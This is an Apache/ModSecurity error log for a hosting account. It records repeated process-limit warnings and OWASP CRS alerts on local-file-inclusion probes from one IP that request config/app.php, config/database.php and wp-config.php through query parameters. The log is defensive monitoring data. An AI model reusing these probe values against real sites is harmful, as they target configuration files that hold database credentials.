[Fri Jul 17 08:55:45.865280 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.865526 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguTsMb3am0TgkjETa5AAAAAo"]
[Fri Jul 17 08:55:45.887347 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: 0chx0/config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/mcp"] [unique_id "almguY1dLClkUfK_dfHk7wAAAAI"]
[Fri Jul 17 08:55:45.888279 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/mcp"] [unique_id "almguY1dLClkUfK_dfHk7wAAAAI"]
[Fri Jul 17 08:55:45.888471 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.888702 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguY1dLClkUfK_dfHk7wAAAAI"]
[Fri Jul 17 08:55:45.890490 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/mcp"] [unique_id "almguRAi3pC6yjXGNq2AogAAAAU"]
[Fri Jul 17 08:55:45.891078 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/mcp"] [unique_id "almguRAi3pC6yjXGNq2AogAAAAU"]
[Fri Jul 17 08:55:45.891194 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.891349 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguRAi3pC6yjXGNq2AogAAAAU"]
[Fri Jul 17 08:55:45.901342 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: gip0o/config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/mcp"] [unique_id "almguQRRrtuZqNDDSqWwPwAAABo"]
[Fri Jul 17 08:55:45.902032 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/mcp"] [unique_id "almguQRRrtuZqNDDSqWwPwAAABo"]
[Fri Jul 17 08:55:45.902238 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.902448 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguQRRrtuZqNDDSqWwPwAAABo"]
[Fri Jul 17 08:55:45.919703 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/mcp"] [unique_id "almguUkXT4NBqALj2lZ86wAAABA"]
[Fri Jul 17 08:55:45.920325 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/mcp"] [unique_id "almguUkXT4NBqALj2lZ86wAAABA"]
[Fri Jul 17 08:55:45.920441 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.920565 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguUkXT4NBqALj2lZ86wAAABA"]
[Fri Jul 17 08:55:45.926417 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.949764 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.953557 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.966311 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.000394 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.011738 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.015769 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.027866 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.071319 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.072829 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.082600 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.082826 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.083064 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.131932 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:file: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguhJ0z2bEtnOrIXVAagAAAAk"]
[Fri Jul 17 08:55:46.132508 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguhJ0z2bEtnOrIXVAagAAAAk"]
[Fri Jul 17 08:55:46.132638 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.132926 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguhJ0z2bEtnOrIXVAagAAAAk"]
[Fri Jul 17 08:55:46.140974 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:file: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguo1dLClkUfK_dfHk8gAAAAI"]
[Fri Jul 17 08:55:46.141565 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguo1dLClkUfK_dfHk8gAAAAI"]
[Fri Jul 17 08:55:46.141683 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.142004 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguo1dLClkUfK_dfHk8gAAAAI"]
[Fri Jul 17 08:55:46.146154 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:file: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgulh1WDijTxd1xw5MbQAAAAc"]
[Fri Jul 17 08:55:46.146407 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:file: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgulCBpfuYyhJ140vS1QAAAB4"]
[Fri Jul 17 08:55:46.146772 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgulh1WDijTxd1xw5MbQAAAAc"]
[Fri Jul 17 08:55:46.146869 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.146927 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgulCBpfuYyhJ140vS1QAAAB4"]
[Fri Jul 17 08:55:46.147017 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.147186 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgulh1WDijTxd1xw5MbQAAAAc"]
[Fri Jul 17 08:55:46.147290 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgulCBpfuYyhJ140vS1QAAAB4"]
